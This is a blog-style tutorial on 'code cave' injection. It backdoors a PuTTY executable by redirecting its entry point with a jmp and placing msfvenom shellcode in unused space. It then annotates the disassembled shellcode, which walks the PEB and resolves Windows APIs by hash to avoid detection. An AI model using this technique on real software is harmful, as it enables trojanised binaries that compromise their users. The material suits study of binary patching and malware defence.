Code Cave Exoploitation
Introduction:
In this post I will explore a technique of modification and exploitation of binaries, classified as Code Cave. This technique is nothing more than the exploitation of a memory region or unused space within an executable, usually filled with null bytes (0x00) or irrelevant instructions, where an attacker can inject malicious code without significantly altering the file size.
Exploiting a Code Cave will involve locating this empty space, redirecting the program’s execution flow, and executing a shellcode.
Diagram:
Starting our exploitation:
For this test I will use a vulnerable version of the software Putty, which is a free SSH, Telnet, and serial program used to remotely access and manage servers and network devices.
To start building our exploit, I used a tool I developed, available in my GitHub repository called Code_Cave, which is a C tool to find code caves in Portable Executable (PE) files on Windows. It scans the sections of the binary and identifies “empty” byte sequences (0x00 or 0x90) that can be used to inject code.
Using it on the target binary, I got the following output:

With this, we already have a starting point for our exploit.
As previously understood, in our binary, to perform the exploit, besides finding a code cave, we need to redirect the execution flow of our executable to start creating our payload.
For this, we will debug using x32dbg.
Debug:
When we start the executable in the debugger, we land at the entry point of the application, and this is where we will make our first change in the structure. We will use an Assembly instruction so that when the execution flow starts, it makes a call to the memory address where our payload is located. For this, we will use the address discovered by my tool: 0x0046A419.
Here, the jmp instruction is being used to alter the execution flow. The address 0044777F represents the point in the code where normal execution would occur, but the jmp forces the CPU to continue execution from 0x0046A419, where our code cave is located, and later where our shellcode will be. After changing this instruction, I did a step into the set address, where we land in an empty area.
Before starting to build the payload, I introduced some instructions: pushad and pushfd. These commands serve to preserve the original program context. pushad saves all general-purpose registers on the stack, and pushfd stores the processor flags state. This way, the injected code can execute without corrupting the normal functioning of the application.
Shellcode in Assembly:
First, I generated the shellcode using msfvenom with the following instructions:

Now I will explain the shellcode in assembly, summarizing each block of instructions.
1
2
3
4
5
6
7
8
9
+ 0046A41B cld
+ 0046A41C pushad
+ 0046A41D mov ebp,esp
+ 0046A41F xor eax,eax
+ 0046A421 mov edx,dword ptr fs:[eax+30]
+ 0046A427 mov edx,dword ptr ds:[edx+C]
+ 0046A42A mov edx,dword ptr ds:[edx+14]
+ 0046A42D mov esi,dword ptr ds:[edx+28]
+ 0046A430 movzx ecx,word ptr ds:[edx+26]
Here it is still an environment preparation, EBP is adjusted to point to the current stack, EAX is zeroed, then there are reads from the segment fs:[…]. From there, pointers are extracted in a chain, possibly to obtain process structures.
1
2
3
4
5
6
7
+ 0046A436 xor edi,edi
+ 0046A438 cmp al,61
+ 0046A43C jl 0046A440
+ 0046A43E sub al,20
+ 0046A440 ror edi,D
+ 0046A443 add edi,eax
+ 0046A445 loop 0046A439
This block reads bytes from memory and transforms each of them into an accumulated value in the edi register, using bit rotation (ror) and addition. In summary, instead of storing API names like LoadLibraryA or GetProcAddress in the payload, which would make our exploit much easier to detect—it uses this calculation to identify functions at runtime, stealthily.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
+ 0046A447 push edx
+ 0046A448 push edi
+ 0046A449 mov ecx,dword ptr ds:[edx+10]
+ 0046A44C mov ecx,dword ptr ds:[edx+3C]
+ 0046A44F mov ecx,dword ptr ds:[ecx+78]
+ 0046A452 jecxz 0046A49D
+ 0046A454 add ecx,edx
+ 0046A456 push ecx
+ 0046A457 mov ebx,dword ptr ds:[ecx+20]
+ 0046A45A add ebx,edx
+ 0046A45C mov ecx,dword ptr ds:[ecx+18]
+ 0046A45F jecxz 0046A49C
+ 0046A461 dec ecx
+ 0046A462 mov esi,dword ptr ds:[ebx+ecx*4]
+ 0046A465 add esi,edx
+ 0046A467 xor edi,edi
This block will traverse the internal structures of the PE format, accessing the header (PE Header). The purpose is to identify the addresses of functions exported by DLLs like kernel32.dll. When the hash calculated in the previous block matches that of a target function, the code already knows where it is in memory, allowing it to dynamically call critical Windows APIs.








